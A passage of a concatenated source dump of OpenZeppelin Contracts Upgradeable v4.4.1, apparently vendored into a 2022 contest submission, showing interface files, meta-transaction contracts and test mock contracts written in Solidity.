interface IERC2981Upgradeable is IERC165Upgradeable {
/**
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC3156FlashBorrowerUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156FlashBorrower.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC3156 FlashBorrower, as defined in
* https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
*
* _Available since v4.1._
*/
interface IERC3156FlashBorrowerUpgradeable {
/**
* @dev Receive a flash loan.
* @param initiator The initiator of the loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param fee The additional amount of tokens to repay.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
* @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
*/
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC3156FlashLenderUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156FlashLender.sol)
pragma solidity ^0.8.0;
import "./IERC3156FlashBorrowerUpgradeable.sol";
/**
* @dev Interface of the ERC3156 FlashLender, as defined in
* https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
*
* _Available since v4.1._
*/
interface IERC3156FlashLenderUpgradeable {
/**
* @dev The amount of currency available to be lended.
* @param token The loan currency.
* @return The amount of `token` that can be borrowed.
*/
function maxFlashLoan(address token) external view returns (uint256);
/**
* @dev The fee to be charged for a given loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @return The amount of `token` to be charged for the loan, on top of the returned principal.
*/
function flashFee(address token, uint256 amount) external view returns (uint256);
/**
* @dev Initiate a flash loan.
* @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
*/
function flashLoan(
IERC3156FlashBorrowerUpgradeable receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC3156Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156.sol)
pragma solidity ^0.8.0;
import "./IERC3156FlashBorrowerUpgradeable.sol";
import "./IERC3156FlashLenderUpgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC721EnumerableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../token/ERC721/extensions/IERC721EnumerableUpgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC721MetadataUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../token/ERC721/extensions/IERC721MetadataUpgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC721ReceiverUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Receiver.sol)
pragma solidity ^0.8.0;
import "../token/ERC721/IERC721ReceiverUpgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC721Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol)
pragma solidity ^0.8.0;
import "../token/ERC721/IERC721Upgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC777RecipientUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC777Recipient.sol)
pragma solidity ^0.8.0;
import "../token/ERC777/IERC777RecipientUpgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC777SenderUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC777Sender.sol)
pragma solidity ^0.8.0;
import "../token/ERC777/IERC777SenderUpgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC777Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC777.sol)
pragma solidity ^0.8.0;
import "../token/ERC777/IERC777Upgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/README.adoc
================================================
= Interfaces
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/interfaces
== List of standardized interfaces
These interfaces are available as `.sol` files, and also as compiler `.json` ABI files (through the npm package). These
are usefull to interract with third party contracts that implement them.
- {IERC20}
- {IERC20Metadata}
- {IERC165}
- {IERC721}
- {IERC721Receiver}
- {IERC721Enumerable}
- {IERC721Metadata}
- {IERC777}
- {IERC777Recipient}
- {IERC777Sender}
- {IERC1155}
- {IERC1155Receiver}
- {IERC1155MetadataURI}
- {IERC1271}
- {IERC1363}
- {IERC1820Implementer}
- {IERC1820Registry}
- {IERC2612}
- {IERC2981}
- {IERC3156FlashLender}
- {IERC3156FlashBorrower}
== Detailed ABI
{{IERC1271}}
{{IERC1363}}
{{IERC1363Receiver}}
{{IERC1820Implementer}}
{{IERC1820Registry}}
{{IERC2612}}
{{IERC2981}}
{{IERC3156FlashLender}}
{{IERC3156FlashBorrower}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/draft-IERC2612Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/draft-IERC2612.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol";
interface IERC2612Upgradeable is IERC20PermitUpgradeable {}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/metatx/ERC2771ContextUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (metatx/ERC2771Context.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Context variant with ERC2771 support.
*/
abstract contract ERC2771ContextUpgradeable is Initializable, ContextUpgradeable {
address private _trustedForwarder;
function __ERC2771Context_init(address trustedForwarder) internal onlyInitializing {
__Context_init_unchained();
__ERC2771Context_init_unchained(trustedForwarder);
}
function __ERC2771Context_init_unchained(address trustedForwarder) internal onlyInitializing {
_trustedForwarder = trustedForwarder;
}
function isTrustedForwarder(address forwarder) public view virtual returns (bool) {
return forwarder == _trustedForwarder;
}
function _msgSender() internal view virtual override returns (address sender) {
if (isTrustedForwarder(msg.sender)) {
// The assembly code is more direct than the Solidity version using `abi.decode`.
assembly {
sender := shr(96, calldataload(sub(calldatasize(), 20)))
}
} else {
return super._msgSender();
}
}
function _msgData() internal view virtual override returns (bytes calldata) {
if (isTrustedForwarder(msg.sender)) {
return msg.data[:msg.data.length - 20];
} else {
return super._msgData();
}
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/metatx/MinimalForwarderUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (metatx/MinimalForwarder.sol)
pragma solidity ^0.8.0;
import "../utils/cryptography/ECDSAUpgradeable.sol";
import "../utils/cryptography/draft-EIP712Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Simple minimal forwarder to be used together with an ERC2771 compatible contract. See {ERC2771Context}.
*/
contract MinimalForwarderUpgradeable is Initializable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
struct ForwardRequest {
address from;
address to;
uint256 value;
uint256 gas;
uint256 nonce;
bytes data;
}
bytes32 private constant _TYPEHASH =
keccak256("ForwardRequest(address from,address to,uint256 value,uint256 gas,uint256 nonce,bytes data)");
mapping(address => uint256) private _nonces;
function __MinimalForwarder_init() internal onlyInitializing {
__EIP712_init_unchained("MinimalForwarder", "0.0.1");
__MinimalForwarder_init_unchained();
}
function __MinimalForwarder_init_unchained() internal onlyInitializing {}
function getNonce(address from) public view returns (uint256) {
return _nonces[from];
}
function verify(ForwardRequest calldata req, bytes calldata signature) public view returns (bool) {
address signer = _hashTypedDataV4(
keccak256(abi.encode(_TYPEHASH, req.from, req.to, req.value, req.gas, req.nonce, keccak256(req.data)))
).recover(signature);
return _nonces[req.from] == req.nonce && signer == req.from;
}
function execute(ForwardRequest calldata req, bytes calldata signature)
public
payable
returns (bool, bytes memory)
{
require(verify(req, signature), "MinimalForwarder: signature does not match request");
_nonces[req.from] = req.nonce + 1;
(bool success, bytes memory returndata) = req.to.call{gas: req.gas, value: req.value}(
abi.encodePacked(req.data, req.from)
);
// Validate that the relayer has sent enough gas for the call.
// See https://ronan.eth.link/blog/ethereum-gas-dangers/
assert(gasleft() > req.gas / 63);
return (success, returndata);
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/metatx/README.adoc
================================================
= Meta Transactions
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/metatx
== Core
{{ERC2771Context}}
== Utils
{{MinimalForwarder}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/AccessControlEnumerableMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../access/AccessControlEnumerableUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract AccessControlEnumerableMockUpgradeable is Initializable, AccessControlEnumerableUpgradeable {
function __AccessControlEnumerableMock_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
__AccessControlEnumerableMock_init_unchained();
}
function __AccessControlEnumerableMock_init_unchained() internal onlyInitializing {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) public {
_setRoleAdmin(roleId, adminRoleId);
}
function senderProtected(bytes32 roleId) public onlyRole(roleId) {}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/AccessControlMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../access/AccessControlUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract AccessControlMockUpgradeable is Initializable, AccessControlUpgradeable {
function __AccessControlMock_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlMock_init_unchained();
}
function __AccessControlMock_init_unchained() internal onlyInitializing {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) public {
_setRoleAdmin(roleId, adminRoleId);
}
function senderProtected(bytes32 roleId) public onlyRole(roleId) {}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/AddressImplUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/AddressUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract AddressImplUpgradeable is Initializable {
function __AddressImpl_init() internal onlyInitializing {
__AddressImpl_init_unchained();
}
function __AddressImpl_init_unchained() internal onlyInitializing {
}
string public sharedAnswer;
event CallReturnValue(string data);
function isContract(address account) external view returns (bool) {
return AddressUpgradeable.isContract(account);
}
function sendValue(address payable receiver, uint256 amount) external {
AddressUpgradeable.sendValue(receiver, amount);
}
function functionCall(address target, bytes calldata data) external {
bytes memory returnData = AddressUpgradeable.functionCall(target, data);
emit CallReturnValue(abi.decode(returnData, (string)));
}
function functionCallWithValue(
address target,
bytes calldata data,
uint256 value
) external payable {
bytes memory returnData = AddressUpgradeable.functionCallWithValue(target, data, value);
emit CallReturnValue(abi.decode(returnData, (string)));
}
function functionStaticCall(address target, bytes calldata data) external {
bytes memory returnData = AddressUpgradeable.functionStaticCall(target, data);
emit CallReturnValue(abi.decode(returnData, (string)));
}
// sendValue's tests require the contract to hold Ether
receive() external payable {}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ArraysImplUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ArraysUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ArraysImplUpgradeable is Initializable {
using ArraysUpgradeable for uint256[];
uint256[] private _array;
function __ArraysImpl_init(uint256[] memory array) internal onlyInitializing {
__ArraysImpl_init_unchained(array);
}
function __ArraysImpl_init_unchained(uint256[] memory array) internal onlyInitializing {
_array = array;
}
function findUpperBound(uint256 element) external view returns (uint256) {
return _array.findUpperBound(element);
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/BadBeaconUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
contract BadBeaconNoImplUpgradeable is Initializable { function __BadBeaconNoImpl_init() internal onlyInitializing {
__BadBeaconNoImpl_init_unchained();
}
function __BadBeaconNoImpl_init_unchained() internal onlyInitializing {
}
uint256[50] private __gap;
}
contract BadBeaconNotContractUpgradeable is Initializable {
function __BadBeaconNotContract_init() internal onlyInitializing {
__BadBeaconNotContract_init_unchained();
}
function __BadBeaconNotContract_init_unchained() internal onlyInitializing {
}
function implementation() external pure returns (address) {
return address(0x1);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/BitmapMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/structs/BitMapsUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract BitMapMockUpgradeable is Initializable {
function __BitMapMock_init() internal onlyInitializing {
__BitMapMock_init_unchained();
}
function __BitMapMock_init_unchained() internal onlyInitializing {
}
using BitMapsUpgradeable for BitMapsUpgradeable.BitMap;
BitMapsUpgradeable.BitMap private _bitmap;
function get(uint256 index) public view returns (bool) {
return _bitmap.get(index);
}
function setTo(uint256 index, bool value) public {
_bitmap.setTo(index, value);
}
function set(uint256 index) public {
_bitmap.set(index);
}
function unset(uint256 index) public {
_bitmap.unset(index);
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/CallReceiverMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
contract CallReceiverMockUpgradeable is Initializable {
function __CallReceiverMock_init() internal onlyInitializing {
__CallReceiverMock_init_unchained();
}
function __CallReceiverMock_init_unchained() internal onlyInitializing {
}
string public sharedAnswer;
event MockFunctionCalled();
event MockFunctionCalledWithArgs(uint256 a, uint256 b);
uint256[] private _array;
function mockFunction() public payable returns (string memory) {
emit MockFunctionCalled();
return "0x1234";
}
function mockFunctionWithArgs(uint256 a, uint256 b) public payable returns (string memory) {
emit MockFunctionCalledWithArgs(a, b);
return "0x1234";
}
function mockFunctionNonPayable() public returns (string memory) {
emit MockFunctionCalled();
return "0x1234";
}
function mockStaticFunction() public pure returns (string memory) {
return "0x1234";
}
function mockFunctionRevertsNoReason() public payable {
revert();
}
function mockFunctionRevertsReason() public payable {
revert("CallReceiverMock: reverting");
}
function mockFunctionThrows() public payable {
assert(false);
}
function mockFunctionOutOfGas() public payable {
for (uint256 i = 0; ; ++i) {
_array.push(i);
}
}
function mockFunctionWritesStorage() public returns (string memory) {
sharedAnswer = "42";
return "0x1234";
}
uint256[48] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ClashingImplementationUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Implementation contract with an admin() function made to clash with
* @dev TransparentUpgradeableProxy's to test correct functioning of the
* @dev Transparent Proxy feature.
*/
contract ClashingImplementationUpgradeable is Initializable {
function __ClashingImplementation_init() internal onlyInitializing {
__ClashingImplementation_init_unchained();
}
function __ClashingImplementation_init_unchained() internal onlyInitializing {
}
function admin() external pure returns (address) {
return 0x0000000000000000000000000000000011111142;
}
function delegatedFunction() external pure returns (bool) {
return true;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ClonesMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/ClonesUpgradeable.sol";
import "../utils/AddressUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ClonesMockUpgradeable is Initializable {
function __ClonesMock_init() internal onlyInitializing {
__ClonesMock_init_unchained();
}
function __ClonesMock_init_unchained() internal onlyInitializing {
}
using AddressUpgradeable for address;
using ClonesUpgradeable for address;
event NewInstance(address instance);
function clone(address implementation, bytes calldata initdata) public payable {
_initAndEmit(implementation.clone(), initdata);
}
function cloneDeterministic(
address implementation,
bytes32 salt,
bytes calldata initdata
) public payable {
_initAndEmit(implementation.cloneDeterministic(salt), initdata);
}
function predictDeterministicAddress(address implementation, bytes32 salt) public view returns (address predicted) {
return implementation.predictDeterministicAddress(salt);
}
function _initAndEmit(address instance, bytes memory initdata) private {
if (initdata.length > 0) {
instance.functionCallWithValue(initdata, msg.value);
}
emit NewInstance(instance);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ConditionalEscrowMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/escrow/ConditionalEscrowUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
// mock class using ConditionalEscrow
contract ConditionalEscrowMockUpgradeable is Initializable, ConditionalEscrowUpgradeable {
function __ConditionalEscrowMock_init() internal onlyInitializing {
__Context_init_unchained();
__Ownable_init_unchained();
__Escrow_init_unchained();
__ConditionalEscrow_init_unchained();
__ConditionalEscrowMock_init_unchained();
}
function __ConditionalEscrowMock_init_unchained() internal onlyInitializing {
}
mapping(address => bool) private _allowed;
function setAllowed(address payee, bool allowed) public {
_allowed[payee] = allowed;
}
function withdrawalAllowed(address payee) public view override returns (bool) {
return _allowed[payee];
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ContextMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ContextMockUpgradeable is Initializable, ContextUpgradeable {
function __ContextMock_init() internal onlyInitializing {
__Context_init_unchained();
__ContextMock_init_unchained();
}
function __ContextMock_init_unchained() internal onlyInitializing {
}
event Sender(address sender);
function msgSender() public {
emit Sender(_msgSender());
}
event Data(bytes data, uint256 integerValue, string stringValue);
function msgData(uint256 integerValue, string memory stringValue) public {
emit Data(_msgData(), integerValue, stringValue);
}
uint256[50] private __gap;
}
contract ContextMockCallerUpgradeable is Initializable {
function __ContextMockCaller_init() internal onlyInitializing {
__ContextMockCaller_init_unchained();
}
function __ContextMockCaller_init_unchained() internal onlyInitializing {
}
function callSender(ContextMockUpgradeable context) public {
context.msgSender();
}
function callData(
ContextMockUpgradeable context,
uint256 integerValue,
string memory stringValue
) public {
context.msgData(integerValue, stringValue);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/CountersImplUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/CountersUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract CountersImplUpgradeable is Initializable {
function __CountersImpl_init() internal onlyInitializing {
__CountersImpl_init_unchained();
}
function __CountersImpl_init_unchained() internal onlyInitializing {
}
using CountersUpgradeable for CountersUpgradeable.Counter;
CountersUpgradeable.Counter private _counter;
function current() public view returns (uint256) {
return _counter.current();
}
function increment() public {
_counter.increment();
}
function decrement() public {
_counter.decrement();
}
function reset() public {
_counter.reset();
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/Create2ImplUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Create2Upgradeable.sol";
import "../utils/introspection/ERC1820ImplementerUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract Create2ImplUpgradeable is Initializable {
function __Create2Impl_init() internal onlyInitializing {
__Create2Impl_init_unchained();
}
function __Create2Impl_init_unchained() internal onlyInitializing {
}
function deploy(
uint256 value,
bytes32 salt,
bytes memory code
) public {
Create2Upgradeable.deploy(value, salt, code);
}
function deployERC1820Implementer(uint256 value, bytes32 salt) public {
Create2Upgradeable.deploy(value, salt, type(ERC1820ImplementerUpgradeable).creationCode);
}
function computeAddress(bytes32 salt, bytes32 codeHash) public view returns (address) {
return Create2Upgradeable.computeAddress(salt, codeHash);
}
function computeAddressWithDeployer(
bytes32 salt,
bytes32 codeHash,
address deployer
) public pure returns (address) {
return Create2Upgradeable.computeAddress(salt, codeHash, deployer);
}
receive() external payable {}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/DummyImplementationUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
abstract contract ImplUpgradeable is Initializable {
function __Impl_init() internal onlyInitializing {
__Impl_init_unchained();
}
function __Impl_init_unchained() internal onlyInitializing {
}
function version() public pure virtual returns (string memory);
uint256[50] private __gap;
}
contract DummyImplementationUpgradeable is Initializable {
function __DummyImplementation_init() internal onlyInitializing {
__DummyImplementation_init_unchained();
}
function __DummyImplementation_init_unchained() internal onlyInitializing {
}
uint256 public value;
string public text;
uint256[] public values;
function initializeNonPayable() public {
value = 10;
}
function initializePayable() public payable {
value = 100;
}
function initializeNonPayableWithValue(uint256 _value) public {
value = _value;
}
function initializePayableWithValue(uint256 _value) public payable {
value = _value;
}
function initialize(
uint256 _value,
string memory _text,
uint256[] memory _values
) public {
value = _value;
text = _text;
values = _values;
}
function get() public pure returns (bool) {
return true;
}
function version() public pure virtual returns (string memory) {
return "V1";
}
function reverts() public pure {
require(false, "DummyImplementation reverted");
}
uint256[47] private __gap;
}
contract DummyImplementationV2Upgradeable is Initializable, DummyImplementationUpgradeable {
function __DummyImplementationV2_init() internal onlyInitializing {
__DummyImplementation_init_unchained();
__DummyImplementationV2_init_unchained();
}
function __DummyImplementationV2_init_unchained() internal onlyInitializing {
}
function migrate(uint256 newVal) public payable {
value = newVal;
}
function version() public pure override returns (string memory) {
return "V2";
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ECDSAMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/cryptography/ECDSAUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ECDSAMockUpgradeable is Initializable {
function __ECDSAMock_init() internal onlyInitializing {
__ECDSAMock_init_unchained();
}
function __ECDSAMock_init_unchained() internal onlyInitializing {
}
using ECDSAUpgradeable for bytes32;
using ECDSAUpgradeable for bytes;
function recover(bytes32 hash, bytes memory signature) public pure returns (address) {
return hash.recover(signature);
}
// solhint-disable-next-line func-name-mixedcase
function recover_v_r_s(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) public pure returns (address) {
return hash.recover(v, r, s);
}
// solhint-disable-next-line func-name-mixedcase
function recover_r_vs(
bytes32 hash,
bytes32 r,
bytes32 vs
) public pure returns (address) {
return hash.recover(r, vs);
}
function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) {
return hash.toEthSignedMessageHash();
}
function toEthSignedMessageHash(bytes memory s) public pure returns (bytes32) {
return s.toEthSignedMessageHash();
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/EIP712ExternalUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/cryptography/draft-EIP712Upgradeable.sol";
import "../utils/cryptography/ECDSAUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract EIP712ExternalUpgradeable is Initializable, EIP712Upgradeable {
function __EIP712External_init(string memory name, string memory version) internal onlyInitializing {
__EIP712_init_unchained(name, version);
__EIP712External_init_unchained(name, version);
}
function __EIP712External_init_unchained(string memory name, string memory version) internal onlyInitializing {}
function domainSeparator() external view returns (bytes32) {
return _domainSeparatorV4();
}
function verify(
bytes memory signature,
address signer,
address mailTo,
string memory mailContents
) external view {
bytes32 digest = _hashTypedDataV4(
keccak256(abi.encode(keccak256("Mail(address to,string contents)"), mailTo, keccak256(bytes(mailContents))))
);
address recoveredSigner = ECDSAUpgradeable.recover(digest, signature);
require(recoveredSigner == signer);
}
function getChainId() external view returns (uint256) {
return block.chainid;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1155BurnableMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC1155/extensions/ERC1155BurnableUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC1155BurnableMockUpgradeable is Initializable, ERC1155BurnableUpgradeable {
function __ERC1155BurnableMock_init(string memory uri) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC1155_init_unchained(uri);
__ERC1155Burnable_init_unchained();
__ERC1155BurnableMock_init_unchained(uri);
}
function __ERC1155BurnableMock_init_unchained(string memory uri) internal onlyInitializing {}
function mint(
address to,
uint256 id,
uint256 value,
bytes memory data
) public {
_mint(to, id, value, data);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1155MockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC1155/ERC1155Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @title ERC1155Mock
* This mock just publicizes internal functions for testing purposes
*/
contract ERC1155MockUpgradeable is Initializable, ERC1155Upgradeable {
function __ERC1155Mock_init(string memory uri) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC1155_init_unchained(uri);
__ERC1155Mock_init_unchained(uri);
}
function __ERC1155Mock_init_unchained(string memory uri) internal onlyInitializing {}
function setURI(string memory newuri) public {
_setURI(newuri);
}
function mint(
address to,
uint256 id,
uint256 value,
bytes memory data
) public {
_mint(to, id, value, data);
}
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory values,
bytes memory data
) public {
_mintBatch(to, ids, values, data);
}
function burn(
address owner,
uint256 id,
uint256 value
) public {
_burn(owner, id, value);
}
function burnBatch(
address owner,
uint256[] memory ids,
uint256[] memory values
) public {
_burnBatch(owner, ids, values);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1155PausableMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC1155MockUpgradeable.sol";
import "../token/ERC1155/extensions/ERC1155PausableUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC1155PausableMockUpgradeable is Initializable, ERC1155MockUpgradeable, ERC1155PausableUpgradeable {
function __ERC1155PausableMock_init(string memory uri) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC1155_init_unchained(uri);
